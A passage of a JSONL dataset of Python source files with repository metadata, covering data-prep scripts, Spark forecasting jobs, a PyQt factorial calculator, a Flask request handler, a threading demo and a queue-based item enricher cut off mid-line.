value=f\"{value}%\")\n","repo_name":"jsalva9/group_and_projects_optimizer","sub_path":"src/streamlit_app/components/optimizer.py","file_name":"optimizer.py","file_ext":"py","file_size_in_byte":6028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16133032902","text":"#!/usr/bin/env python3\n\nfrom db.repository.lang import LanguageRepository\nfrom db.repository.entity_log import LogWriter\nfrom core.mapper.lang import LanguageMapper\nfrom core.auth_helper import get_master_key\nfrom core.const import EntityLogModifyType\n\nclass LanguageControl:\n    @staticmethod\n    def create(name, own_name):\n        with LanguageRepository.atomic() as txn:\n            try:\n                id = LanguageRepository.add_lang(name, own_name)\n                LogWriter.push_as_master(id, get_master_key(), EntityLogModifyType.CREATE, None, None)\n                return {'id': str(id)}\n            except Exception as ex:\n                txn.rollback()\n                raise ex\n\n    @staticmethod\n    def get_all(include_codes = False):\n        langs = LanguageRepository.list_all()\n        langs_mapped = [LanguageMapper.map_lang(lang, include_codes) for lang in langs]\n        return {'count': count, 'langs': parsed}\n\n    @staticmethod\n    def get_code(lang_id):\n        pass\n","repo_name":"faserg1/MeasurementUnits","sub_path":"mu/core/lang.py","file_name":"lang.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38421170569","text":"#loan application\r\n\r\nimport pandas as pd\r\nimport time, os, csv\r\n\r\n#config\r\n\r\n\r\ninputpath = './'\r\npath_to_neo4j_import_directory = '/home/Final/'\r\n\r\n\r\n\r\n\r\ndef LoadLog(localFile):\r\n    datasetList = []\r\n    headerCSV = []\r\n    i = 0\r\n    with open(localFile) as f:\r\n        reader = csv.reader(f)\r\n        for row in reader:\r\n            if (i==0):\r\n                headerCSV = list(row)\r\n                i +=1\r\n            else:\r\n               datasetList.append(row)\r\n        \r\n    log = pd.DataFrame(datasetList,columns=headerCSV)\r\n    \r\n    return headerCSV, log\r\n\r\ndef MIMIC3(inputpath, path_to_neo4j_import_directory, fileName):\r\n    csvLog = pd.read_csv(os.path.realpath(inputpath+'EventLog.csv'), keep_default_na=True) #load full log from csv\r\n    csvLog.drop_duplicates(keep='first', inplace=True) #remove duplicates from the dataset\r\n    csvLog = csvLog.reset_index(drop=True) #renew the index to close gaps of removed duplicates \r\n    \r\n\r\n    sampleIds = []\r\n\r\n\r\n    # rename CSV columns to standard value\r\n    # Activity\r\n    # timestamp\r\n    # resource\r\n    # lifecycle for life-cycle transtiion\r\n\r\n    csvLog = csvLog.rename(columns={'SUBJECT_ID': 'case','Event': 'Activity','Timestamp':'timestamp'})\r\n\r\n    csvLog['EventIDraw'] = csvLog['EventID']\r\n\r\n\r\n    sampleList = [] #create a list (of lists) for the sample data containing a list of events for each of the selected cases\r\n    # fix missing entity identifier for one record: check all records in the list of sample cases (or the entire dataset)\r\n    for index, row in csvLog.iterrows():\r\n        if sampleIds == [] or row['case'] in sampleIds:\r\n\r\n            rowList = list(row) #add the event data to rowList\r\n            sampleList.append(rowList) #add the extended, single row to the sample dataset\r\n    \r\n    header =  list(csvLog) #save the updated header data\r\n    logSamples = pd.DataFrame(sampleList,columns=header) #create pandas dataframe and add the samples  \r\n\r\n    logSamples['timestamp'] = pd.to_datetime(logSamples['timestamp'], format='%Y-%m-%d %H:%M:%S')\r\n    \r\n    logSamples.fillna(0)\r\n    logSamples.sort_values(['case','timestamp'], inplace=True)\r\n    logSamples['timestamp'] = logSamples['timestamp'].map(lambda x: x.strftime('%Y-%m-%dT%H:%M:%S.%f')[0:-3]+'+0100')\r\n    \r\n    logSamples.to_csv(path_to_neo4j_import_directory+fileName, index=True, index_label=\"idx\",na_rep=\"Unknown\")\r\n\r\n\r\n\r\nfileName = 'MIMICfull.csv'\r\nperfFileName = 'MIMICfullPerformance.csv'\r\n\r\n\r\nstart = time.time()\r\nMIMIC3(inputpath, path_to_neo4j_import_directory, fileName)\r\nend = time.time()\r\nprint(\"Prepared data for import in: \"+str((end - start))+\" seconds.\") \r\n","repo_name":"mnaeimaei/MIMICIII-Event-Graph","sub_path":"MultiMorbidity Scripts/MIMIC3_Step1_prepare.py","file_name":"MIMIC3_Step1_prepare.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"33446018257","text":"from model.moving_average_weekly import moving_average_model_weekly\nfrom model.moving_average_monthly import moving_average_model_monthly\nfrom transform_data.pandas_support_func import get_pd_df\nfrom transform_data.rdd_to_df import MA_output_schema, map_for_output_MA_monthly, map_for_output_MA_weekly\nfrom transform_data.data_transform import get_weekly_aggregate\nfrom properties import REPARTITION_STAGE_1\n\n\ndef _moving_average_row_to_rdd_map(line, **kwargs):\n    # row_object, category_obj = line\n    #\n    # customernumber = row_object.customernumber\n    # matnr = row_object.matnr\n    #\n    # if 'sep' in kwargs.keys():\n    #     sep = kwargs.get('sep')\n    # else:\n    #     sep = \"\\t\"\n    #\n    # MODEL_BLD_CURRENT_DATE = kwargs.get('MODEL_BLD_CURRENT_DATE')  # is of datetime.date type\n    #\n    #\n    # # Unpacking the dataset\n    # # Extracting only the 0th and 1st element since faced discrepancies in dataset\n    # data_array = [[row.split(sep)[0], row.split(sep)[1]] for row in row_object.data]\n    #\n    # data_pd_df = get_pd_df(data_array=data_array, customernumber=customernumber, matnr=matnr,\n    #                        MODEL_BLD_CURRENT_DATE=MODEL_BLD_CURRENT_DATE)\n    #\n    # data_pd_df_week_aggregated = get_weekly_aggregate(data_pd_df)\n    #\n    # _result = customernumber, matnr, data_pd_df_week_aggregated, category_obj\n\n    _result = line\n\n    return _result\n\n\ndef _run_moving_average_weekly(test_data, sqlContext, **kwargs):\n    MODEL_BLD_CURRENT_DATE = kwargs.get('MODEL_BLD_CURRENT_DATE')\n\n    if 'backlog_run' in kwargs.keys() and kwargs.get('backlog_run'):\n        test_data_input = test_data \\\n            .filter(lambda x: x[3].category in ('I', 'II', 'III', 'IV', 'V', 'VI', 'VII', 'VIII', 'IX', 'X')) \\\n            .map(lambda line: _moving_average_row_to_rdd_map(line=line, MODEL_BLD_CURRENT_DATE=MODEL_BLD_CURRENT_DATE))\n    else:\n        test_data_input = test_data \\\n            .filter(lambda x: x[3].category in ('IV', 'V', 'VI', 'VII', 'VIII', 'IX', 'X')) \\\n            .map(lambda line: _moving_average_row_to_rdd_map(line=line, MODEL_BLD_CURRENT_DATE=MODEL_BLD_CURRENT_DATE))\n\n    ma_weekly_results_rdd = test_data_input \\\n        .repartition(REPARTITION_STAGE_1) \\\n        .map(lambda x: moving_average_model_weekly(cus_no=x[0], mat_no=x[1], prod=x[2], pdt_cat=x[3].get_product_prop(),\n                                                   weekly_window=x[3].get_window(), post_outlier_period_flag = x[4]))\n\n    opt_ma_weekly_results_mapped = ma_weekly_results_rdd.map(lambda line: map_for_output_MA_weekly(line))\n\n    opt_ma_weekly_results_df = sqlContext.createDataFrame(opt_ma_weekly_results_mapped, schema = MA_output_schema())\n\n    return opt_ma_weekly_results_df\n\n\ndef _run_moving_average_monthly(test_data, sqlContext, **kwargs):\n    MODEL_BLD_CURRENT_DATE = kwargs.get('MODEL_BLD_CURRENT_DATE')  # is of datetime.date type\n\n    test_data_input = test_data \\\n        .filter(lambda x: x[3].category in ('VIII', 'IX', 'X')) \\\n        .map(lambda line: _moving_average_row_to_rdd_map(line=line, MODEL_BLD_CURRENT_DATE=MODEL_BLD_CURRENT_DATE))\n\n    ma_monthly_results_rdd = test_data_input \\\n        .repartition(REPARTITION_STAGE_1) \\\n        .map(\n        lambda x: moving_average_model_monthly(cus_no=x[0], mat_no=x[1], prod=x[2], pdt_cat=x[3].get_product_prop(),\n                                               monthly_window=x[3].get_window()))\n\n    opt_ma_monthly_results_mapped = ma_monthly_results_rdd.map(lambda line: map_for_output_MA_monthly(line))\n\n    opt_ma_monthly_results_df = sqlContext.createDataFrame(opt_ma_monthly_results_mapped, schema=MA_output_schema())\n\n    return opt_ma_monthly_results_df\n\n\nif __name__ == \"__main__\":\n    import pandas as pd\n    from transform_data.data_transform import get_weekly_aggregate\n\n    a = [['2016-09-09', '1.0', '2.0'], ['2016-09-19', '2.0', '3.0'], ['2016-10-02', '1.0', '2.0']]\n\n    b = pd.DataFrame(data=a, columns=['date', 'q', 'q_i_p']).convert_objects(convert_numeric=True)\n\n    print (get_weekly_aggregate(b))\n\n    # print b\n    # print type(b)\n","repo_name":"sarkaraj/Timeseries-processing-with-Spark","sub_path":"run_moving_average.py","file_name":"run_moving_average.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30038261604","text":"\n# 锁\n# 共享数据\n# 同步:一个一个完成,排队-->效率低,但是共享数据安全\n\n\n'''\nlock = threading.Lock()\nlock.acquire()  请求得到锁\n.....\nlock.release()  释放锁\n\n只要不释放锁,则其他的线程无法进入运行状态\n'''\nimport threading\nimport random\nimport time\n\nlock = threading.Lock()\n\nlist1=[0]*10 # 10个0   可变类型 函数可以直接使用\n\ndef task1():\n    # 获取 线程锁,如果已经上锁,则等待锁释放\n    lock.acquire() # 阻塞功能\n    for i in range(len(list1)):\n        list1[i]=1\n        time.sleep(0.5)\n    lock.release() #释放锁\n\ndef task2():\n    lock.acquire()\n    for i in range(len(list1)):\n        print('--->',list1[i])\n        time.sleep(0.5)\n    lock.release()\n\nif __name__ == '__main__':\n    t1=threading.Thread(target=task1)\n    t2=threading.Thread(target=task2)\n\n    t1.start()\n    t2.start()\n\n    t2.join()\n    t1.join()\n\n\n","repo_name":"Luciano0000/Pyhon-","sub_path":"multiprocessing/QianFeng030threading3.py","file_name":"QianFeng030threading3.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11837431089","text":"\n# coding: utf-8\nimport pandas as pd\nfrom urllib import parse,request\nimport requests\nimport ast\n\n\n#Define Flatten Json Function\ndef flatten_json(y):\n    out = {}\n\n    def flatten(x, name=''):\n        if type(x) is dict:\n            for a in x:\n                flatten(x[a], name + a + '_')\n        elif type(x) is list:\n            i = 0\n            for a in x:\n                flatten(a, name + str(i) + '_')\n                i += 1\n        else:\n            out[name[:-1]] = x\n\n    flatten(y)\n    return out\n\nfolder = '..'\ndata = pd.read_csv(folder + 'input.csv')\n\n#Run API\nfor i in range(len(data)):\n    try:\n        #can add more parametes if necessary\n        url = 'url' + \"%20\".join(data['name'][i].split()) + '&country_code=us'\n        req = requests.get(url=url)\n        out = pd.DataFrame(flatten_json(req.json()), index = [data['client_id'][i]])\n    except:\n        out = pd.DataFrame({}, index = [data['client_id'][i]])\n    if i == 100:\n        final = out\n    else:\n        final = pd.concat([final, out])\n\nfinal.dropna(axis = 1, thresh = 1, inplace = True)\nfinal.to_csv('..')\n","repo_name":"liukehan/python_data","sub_path":"API Data Collection/API Append Template.py","file_name":"API Append Template.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"24991862046","text":"\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nimport ctypes\r\n\r\n\r\nclass Ui_Fatorial(object):\r\n    def setupUi(self, MainWindow):\r\n\r\n        #MainWindow.setWindowTitle(\"Fatorial Calculator\")\r\n        MainWindow.setObjectName(\"MainWindow\")\r\n        MainWindow.resize(338, 347)\r\n        MainWindow.setStyleSheet(\"background-color: rgb(102, 102, 102);\")\r\n        self.centralwidget = QtWidgets.QWidget(MainWindow)\r\n        self.centralwidget.setObjectName(\"centralwidget\")\r\n        self.label = QtWidgets.QLabel(self.centralwidget)\r\n        self.label.setGeometry(QtCore.QRect(50, 10, 241, 41))\r\n        font = QtGui.QFont()\r\n        font.setPointSize(14)\r\n        font.setBold(True)\r\n        font.setWeight(75)\r\n        self.label.setFont(font)\r\n        self.label.setStyleSheet(\"color: rgb(255, 216, 115);\")\r\n        self.label.setAlignment(QtCore.Qt.AlignCenter)\r\n        self.label.setObjectName(\"label\")\r\n        self.Confirmar = QtWidgets.QPushButton(self.centralwidget)\r\n        self.Confirmar.setGeometry(QtCore.QRect(100, 270, 141, 31))\r\n        self.Confirmar.setStyleSheet(\"background-color: rgb(255, 216, 115);\\n\")\r\n        #impede que eu altere o tamanho da caixa\r\n        self.setFixedSize(self.size())\r\n\r\n        self.Confirmar.setObjectName(\"Confirmar\")\r\n        self.label_2 = QtWidgets.QLabel(self.centralwidget)\r\n        self.label_2.setEnabled(False)\r\n        self.label_2.setGeometry(QtCore.QRect(10, 70, 321, 61))\r\n        font = QtGui.QFont()\r\n        font.setPointSize(8)\r\n        font.setBold(False)\r\n        font.setWeight(50)\r\n        font.setKerning(True)\r\n        self.label_2.setFont(font)\r\n        self.label_2.setStyleSheet(\"color: rgb(255, 255, 255);\")\r\n        self.label_2.setTextFormat(QtCore.Qt.AutoText)\r\n        self.label_2.setScaledContents(False)\r\n        self.label_2.setAlignment(QtCore.Qt.AlignHCenter|QtCore.Qt.AlignTop)\r\n        self.label_2.setObjectName(\"label_2\")\r\n        self.spinBox = QtWidgets.QSpinBox(self.centralwidget)\r\n        self.spinBox.setGeometry(QtCore.QRect(60, 150, 221, 41))\r\n        self.spinBox.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\r\n\"font: 12pt \\\"MS Shell Dlg 2\\\";\")\r\n        self.spinBox.setObjectName(\"spinBox\")\r\n\r\n        self.resultado = QtWidgets.QLineEdit(self.centralwidget)\r\n        self.resultado.setEnabled(True)\r\n        self.resultado.setGeometry(QtCore.QRect(60, 209, 221, 41))\r\n        font = QtGui.QFont()\r\n        font.setPointSize(12)\r\n        self.resultado.setFont(font)\r\n        #self.resultado.setMouseTracking(False)\r\n        self.resultado.setStyleSheet(\"color: rgb(255, 255, 255);\\n\"\r\n\"background-color: rgb(102, 102, 102);\\n\"\r\n\"border-color: rgb(102, 102, 102);\")\r\n        #self.resultado.setDragEnabled(True)\r\n        self.resultado.setObjectName(\"resultado\")\r\n        MainWindow.setCentralWidget(self.centralwidget)\r\n        self.menubar = QtWidgets.QMenuBar(MainWindow)\r\n        self.menubar.setGeometry(QtCore.QRect(0, 0, 338, 21))\r\n        self.menubar.setObjectName(\"menubar\")\r\n        MainWindow.setMenuBar(self.menubar)\r\n        self.statusbar = QtWidgets.QStatusBar(MainWindow)\r\n        self.statusbar.setObjectName(\"statusbar\")\r\n        MainWindow.setStatusBar(self.statusbar)\r\n\r\n        self.retranslateUi(MainWindow)\r\n        QtCore.QMetaObject.connectSlotsByName(MainWindow)\r\n\r\n    def retranslateUi(self, MainWindow):\r\n        _translate = QtCore.QCoreApplication.translate\r\n        MainWindow.setWindowTitle(_translate(\"Fatorial Calculator\", \"Fatorial Calculator\"))\r\n        #adicionar icone na janela\r\n        #Icons made by <a href=\"https://www.flaticon.com/authors/roundicons\" title=\"Roundicons\">Roundicons</a> from <a href=\"https://www.flaticon.com/\" title=\"Flaticon\"> www.flaticon.com</a>\r\n        #self.setWindowIcon(QtGui.QIcon('symbol.png'))\r\n        self.setWindowIcon(QtGui.QIcon('symboltaskbar.png'))\r\n        \r\n\r\n        \r\n        self.label.setText(_translate(\"MainWindow\", \"FATORIAL\\n\"\r\n\"CALCULATOR\"))\r\n        self.Confirmar.setText(_translate(\"MainWindow\", \"Calcular\"))\r\n        self.label_2.setText(_translate(\"MainWindow\", \"Fatorial é o produto do números inteiros positivos consecutivos de\\n\"\r\n\"um número natural n, menores ou iguais a n.\\n\"\r\n\"A notação do fatorial de um número n é: n!.\"))\r\n        #comando para desativar a função de maximizar a tela\r\n        MainWindow.setWindowFlags(QtCore.Qt.WindowCloseButtonHint | QtCore.Qt.WindowMinimizeButtonHint)\r\n\r\n#Definindo o icone na barra de tarefas no Windows 7\r\nmyappid = 'mycompany.myproduct.subproduct.version' # arbitrary string\r\nctypes.windll.shell32.SetCurrentProcessExplicitAppUserModelID(myappid)\r\n\r\nif __name__ == \"__main__\":\r\n    import sys\r\n    app = QtWidgets.QApplication(sys.argv)\r\n    MainWindow = QtWidgets.QMainWindow()\r\n    ui = Ui_MainWindow()\r\n    ui.setupUi(MainWindow)\r\n    MainWindow.show()\r\n    sys.exit(app.exec_())\r\n","repo_name":"MatheusOrange211/calculadora-de-fatorial","sub_path":"project/fatorial.py","file_name":"fatorial.py","file_ext":"py","file_size_in_byte":4845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10216060577","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport math\nimport statistics\nimport numpy as np\nimport scipy.stats\nimport pandas as pd\n\n\n# In[3]:\n\n\nx = [8.0, 1, 2.5, 4, 28.0]\nx_with_nan = [8.0, 1, 2.5, math.nan, 4, 28.0]\n\nprint(x)\nprint(x_with_nan)\n\n\n# In[5]:\n\n\nmath.isnan(np.nan),np.isnan(math.nan)\n\n\n# In[15]:\n\n\ny, y_with_nan = np.array(x), np.array(x_with_nan)\nz, z_with_nan = pd.Series(x), pd.Series(x_with_nan)\nprint(\"-------y------\")\nprint(y)\nprint(\"-------y_with_nan------\")\nprint(y_with_nan)\nprint(\"-------z------\")\nprint(z)\nprint(\"-------z_with_nan------\")\nprint(z_with_nan)\n\n\n# In[16]:\n\n\nmean_ = sum(x) / len(x)\nmean_\n\n\n# In[6]:\n\n\n# Descriptive Statistics\n\n\n# In[7]:\n\n\n#Create a Dictionary of series\nd = {'Name':pd.Series(['Ahmet','Mehmet','Ayse','Berk','Mahmut','Aylin','Kazim',\n   'Lee','Temel','Gasper','Fatma','Elif']),\n   'Age':pd.Series([25,26,25,23,30,29,23,34,40,30,51,46]),\n   'Rating':pd.Series([4.23,3.24,3.98,2.56,3.20,4.6,3.8,3.78,2.98,4.80,4.10,3.65])\n}\n\n#Create a DataFrame\ndf = pd.DataFrame(d)\nprint(df)\n\n\n# In[8]:\n\n\n#Create a DataFrame\ndf = pd.DataFrame(d)\n#summation\nprint(df.sum())\n\n\n# In[11]:\n\n\n#select a column\ndf['Age'].sum() \n\n\n# In[12]:\n\n\n#apply a desired funtion on specified column(s)\nprint(\"----VAR------\")\nprint(df[['Age','Rating']].var())\n\nprint(\"----STD----\")\nprint(df[['Age','Rating']].std())\n\n\n# In[ ]:\n\n\n#Sr.No.\tFunction\tDescription\n#1\tcount()\tNumber of non-null observations\n#2\tsum()\tSum of values\n#3\tmean()\tMean of Values\n#4\tmedian()\tMedian of Values\n#5\tmode()\tMode of values\n#6\tstd()\tStandard Deviation of the Values\n#7\tvar()\tVariance of the Values\n#8\tmin()\tMinimum Value\n#9\tmax()\tMaximum Value\n#10\tabs()\tAbsolute Value\n#11\tprod()\tProduct of Values\n#12\tcumsum()\tCumulative Sum\n#13\tcumprod()\tCumulative Product\n\n\n# In[13]:\n\n\nprint(df.describe())\n\n\n# In[54]:\n\n\n#Python Pandas - Visualization\n\n\n# In[26]:\n\n\n#np.random.seed(123)\ndf = pd.DataFrame(np.random.randn(10,4),index=pd.date_range('1/1/2000',\n   periods=10), columns=list('ABCD'))\nx\ndf\n\n\n# In[27]:\n\n\ndf.describe()\n#notice on the mean and std\n\n\n# In[28]:\n\n\ndf.plot()\n\n\n# In[30]:\n\n\n#only non zero values\nnanzero_df = pd.DataFrame(np.random.rand(10,4),columns=['a','b','c','d'])\nnanzero_df.plot.bar()\n\n\n# In[90]:\n\n\nnanzero_df.plot.bar(stacked=True)\n\n\n# In[92]:\n\n\n#horizontal\nnanzero_df.plot.barh(stacked=True)\n\n\n# In[33]:\n\n\ndf = pd.DataFrame({'a':np.random.randn(1000),'b':np.random.randn(1000),'c':\nnp.random.randn(1000)}, columns=['a', 'b', 'c'])\n\n#df.plot.hist(bins=20)\ndf.describe()\ndf['a'].plot.hist(bins=20)\n\n\n# In[34]:\n\n\ndf.plot.box()\n\n\n# In[113]:\n\n\ndf = pd.DataFrame(np.random.rand(10, 4), columns=['a', 'b', 'c', 'd'])\ndf.plot.area()\n\n\n# In[114]:\n\n\ndf = pd.DataFrame(np.random.rand(50, 4), columns=['a', 'b', 'c', 'd'])\ndf.plot.scatter(x='a', y='b')\n\n\n# In[116]:\n\n\ndf = pd.DataFrame(3 * np.random.rand(4), index=['a', 'b', 'c', 'd'], columns=['x'])\ndf.plot.pie(subplots=True)\n\n","repo_name":"fenyx-it-academy/Class7-MathStats-Module-Week16","sub_path":"Summary Statistic and Visualisation.py","file_name":"Summary Statistic and Visualisation.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14842588889","text":"from api.dao.request_dao import RequestDAO\nfrom api.handlers.error_handler import ErrorHandler\nfrom flask import jsonify\n\n\nclass RequestHandler(object):\n    def build_request(self, record):\n        res_dict = {\n            \"request_id\": record[0],\n            \"customer_id\": record[1],\n            \"product_id\": record[2],\n            \"quantity\": record[3],\n        }\n        return res_dict\n\n    def get_all_requests(self):\n        results = RequestDAO().get_all_requests()\n        return jsonify(requests=results)\n\n    def get_request_by_id(self, request_id):\n        result = RequestDAO().get_request_by_id(request_id)\n        if not result:\n            return ErrorHandler().not_found()\n        return jsonify(request=result), 200\n\n    def get_requests_by_product_id(self, product_id):\n        results = RequestDAO().get_requests_by_product_id(product_id)\n        if not results:\n            return ErrorHandler().not_found()\n        return jsonify(requests=results), 200\n\n    def get_requests_by_customer_id(self, customer_id):\n        results = RequestDAO().get_requests_by_customer_id(customer_id)\n        if not results:\n            return ErrorHandler().not_found()\n        return jsonify(requests=results), 200\n\n    def search_requests(self, args):\n        request_dao = RequestDAO()\n        try:\n            keyword = args.get(\"keyword\")\n        except KeyError:\n            return ErrorHandler().bad_request()\n\n        if keyword:\n            result = request_dao.get_requests_by_keyword(keyword)\n            return jsonify(orders=result), 200\n\n        return ErrorHandler().bad_request()\n\n    def insert_request(self, payload):\n        try:\n            customer_id = payload[\"customer_id\"]\n            product_id = payload[\"product_id\"]\n            quantity = payload[\"quantity\"]\n        except KeyError:\n            return ErrorHandler().bad_request()\n\n        request_id = RequestDAO().insert_request(\n            customer_id, product_id, quantity\n        )\n        if request_id == -1:\n            return ErrorHandler().bad_request(\"Product does not exist\")\n        return (\n            self.build_request((request_id, customer_id, product_id, quantity)),\n            201,\n        )\n\n    def update_request(self, request_id, payload):\n        request_dao = RequestDAO()\n        if not request_dao.get_request_by_id(request_id):\n            return ErrorHandler().not_found()\n\n        try:\n            customer_id = payload[\"customer_id\"]\n            product_id = payload[\"product_id\"]\n            quantity = payload[\"quantity\"]\n        except KeyError:\n            return ErrorHandler().bad_request()\n\n        request_id = RequestDAO().update_request(\n            request_id, customer_id, product_id, quantity\n        )\n\n        if request_id == -1:\n            return ErrorHandler().bad_request(\"Given product does not exist\")\n\n        return (\n            self.build_request((request_id, customer_id, product_id, quantity)),\n            200,\n        )\n\n    def add_product(self, request_id, payload):\n        request_dao = RequestDAO()\n        if not request_dao.get_request_by_id(request_id):\n            return ErrorHandler().not_found()\n\n        try:\n            product_id = payload[\"product_id\"]\n            quantity = payload[\"quantity\"]\n        except KeyError:\n            return ErrorHandler().bad_request()\n\n        new_quantity = request_dao.add_product(request_id, product_id, quantity)\n\n        if new_quantity == -1:\n            return ErrorHandler().bad_request(\"Given product does not exist\")\n\n        return self.build_request(\n            (request_id, \"same\", product_id, new_quantity)\n        ), 201\n\n    def delete_request(self, request_id):\n        request_dao = RequestDAO()\n        if not request_dao.get_request_by_id(request_id):\n            return ErrorHandler().not_found()\n\n        request_dao.delete_request(request_id)\n        return jsonify(Deletion=\"Request Deleted\"), 200\n\n    def delete_requests_by_customer_id(self, customer_id):\n        request_dao = RequestDAO()\n        if not request_dao.get_requests_by_customer_id(customer_id):\n            return ErrorHandler().not_found()\n\n        request_dao.delete_requests_by_customer_id(customer_id)\n        return jsonify(Deletion=\"Reservations Deleted\"), 200\n","repo_name":"milton-pagan/disaster-storage-api","sub_path":"api/handlers/request_handler.py","file_name":"request_handler.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"28274934323","text":"# One pass solution. d=[0]*10 for 10 digits. If s==g:b+=1;else: every secret key digit increases d[s]. If we find d[s]<0 that means it has been guessed so c+=1.\n\n      \n\nclass Solution:\n    def getHint(self, secret: str, guess: str) -> str:\n        d = [0]*10\n        b, c = 0, 0\n        for i in range(len(secret)):\n            s, g = int(secret[i]), int(guess[i])\n            \n            if s==g:\n                b += 1\n            else:\n                if d[s] < 0:\n                    c += 1\n                if d[g] > 0:\n                    c += 1\n                d[s] += 1\n                d[g] -= 1\n        return f'{b}A{c}B'","repo_name":"rohitpatwa/leetcode","sub_path":"299. Bulls and Cows.py","file_name":"299. Bulls and Cows.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"36466866831","text":"# -*- coding:utf-8 -*-\nimport json\nimport time\nimport pickle\n\nfrom threading import Thread\nfrom abc import abstractmethod, ABCMeta\n\nfrom toolkit import duplicate, timeout\nfrom toolkit.managers import ExceptContext\nfrom toolkit.monitors import ItemConsumer, ItemProducer\n\nfrom .task_scheduler import RedisTaskScheduler\n\n\nclass Roller(ItemConsumer, metaclass=ABCMeta):\n    name = \"Roller\"\n    task_scheduler = None\n\n    def __init__(self):\n        super(Roller, self).__init__()\n        self.task_scheduler = RedisTaskScheduler(\n            self.settings.get(\"REDIS_URL\"), self.settings.get_int(\"DELAY\", 1000),\n            self.name, lambda item: item[\"item_id\"], self.delay_role)\n        self.children.append(self.task_scheduler.sender)\n        self.children.append(self.task_scheduler.receiver)\n        self.task_scheduler.start()\n\n    def retrieve_messages(self):\n        while self.alive:\n            if not self.consume(callback=self.retrieve_message, errback=self.errback):\n                time.sleep(1)\n\n    def errback(self, message):\n        for tp in self.consumer.assignment():\n            if tp.partition == message.partition:\n                self.consumer.seek(tp, message.offset - 1)\n\n    def attach(self, item):\n        return item\n\n    def retrieve_message(self, value):\n        message = json.loads(value)\n        for item in message[\"items\"]:\n            if not self.filter(item, message[\"trace\"]):\n                continue\n            self.task_scheduler.push(pickle.dumps(self.attach(item)))\n        return True\n\n    def consume_messages(self, count, filter_key=lambda x: x):\n        return duplicate((pickle.loads(message) for message in self.task_scheduler.retrieve(count)), key=filter_key)\n\n    def push_back(self, *messages):\n        self.task_scheduler.push(*map(pickle.dumps, messages), delay=False)\n\n    def push(self, *messages):\n        self.task_scheduler.push(*map(pickle.dumps, messages))\n\n    def start(self):\n        with ExceptContext(errback=lambda *args: self.log_err(*args) and self.stop() is None, finalback=self.close):\n            retriever = Thread(target=self.retrieve_messages)\n            self.children.append(retriever)\n            retriever.setDaemon(True)\n            retriever.start()\n            self.roll()\n\n    def close(self, got_err):\n        super(Roller, self).close()\n        self.task_scheduler.input_channel.close()\n        self.task_scheduler.output_channel.close()\n        self.logger.info(\"Exit. \")\n\n    def stop(self, *args):\n        super(Roller, self).stop(*args)\n        if self.task_scheduler:\n            self.task_scheduler.alive = False\n\n    @abstractmethod\n    def roll(self):\n        pass\n\n    @abstractmethod\n    def filter(self):\n        pass\n\n    @abstractmethod\n    def delay_role(self, message, default):\n        pass\n\n\nclass ItemEnricher(Roller, ItemProducer, metaclass=ABCMeta):\n    \"\"\"\n        Filter base.\n    \"\"\"\n    name = \"item_filter\"\n    command = \"ENRICH\"\n    version = \"1.0.0\"\n    failed_items = dict()\n\n    def attach(self, item):\n        item[\"delay_date\"] = time.time() * 1000\n        return item\n\n    def delay_role(self, message, default):\n        return default\n\n    def deal_with_result(self, rs, old):\n        if rs.failed():\n            self.logger.error(\"Celery failed: %s, Error: %s\" % (old[\"item_id\"], rs.result))\n            self.push(old)\n        else:\n            new = rs.get(propagate=False)\n            if new[\"result\"]:\n                new[\"command\"] = self.command\n                new[\"version\"] = self.version\n                new[\"references\"] = []\n                new.pop(\"result\")\n                new.pop(\"failed_reason\", None)\n                self.logger.info(\"Send %s to %s. \" % (old[\"item_id\"], self.topic_out))\n                self.task_scheduler.remove(old[\"item_id\"])\n                if old[\"item_id\"] in self.failed_items:\n                    del self.failed_items[old[\"item_id\"]]\n                self.produce(json.dumps(new))\n            else:\n                failed_times = self.failed_items.setdefault(old[\"item_id\"], 0) + 1\n                self.failed_items[old[\"item_id\"]] = failed_times\n                if failed_times < self.settings.get_int(\"FAILED_TIMES\", 10):\n                    self.push(old)\n                    self.logger.error(\"Error: %s. push %s task back. \" % (new.get(\"failed_reason\"), old[\"item_id\"]))\n                else:\n                    self.logger.error(\"Error: %s. %s for %s times, abandon. \"%(\n                        new.get(\"failed_reason\"), old[\"item_id\"], failed_times))\n\n    @timeout(8, True)\n    def tear_off(self, result_list):\n        while result_list:\n            self.look_for_ready(result_list)\n\n    def look_for_ready(self, result_list):\n        index = 0\n        while index < len(result_list):\n            roc_item, result, process_time = result_list[index]\n            if not result:\n                self.logger.info(\"Call celery timeout, push task back. \")\n                result_list.pop(index)\n                self.push(roc_item)\n            elif result.ready():\n                result_list.pop(index)\n                self.deal_with_result(result, roc_item)\n            elif time.time() - process_time > self.settings.get(\"CELERY_TIMEOUT\", 200):\n                self.logger.info(\"Celery timeout, push task back. \")\n                result_list.pop(index)\n                self.push(roc_item)\n            else:\n                index += 1\n        time.sleep(.1)\n\n    def roll(self):\n        result_list = list()\n        try:\n            while self.alive or [thread for thread in self.children if thread.is_alive()]:\n                if len(result_list) < self.settings.get_int(\"CONCURRENCY\", 10):\n                    roc_items 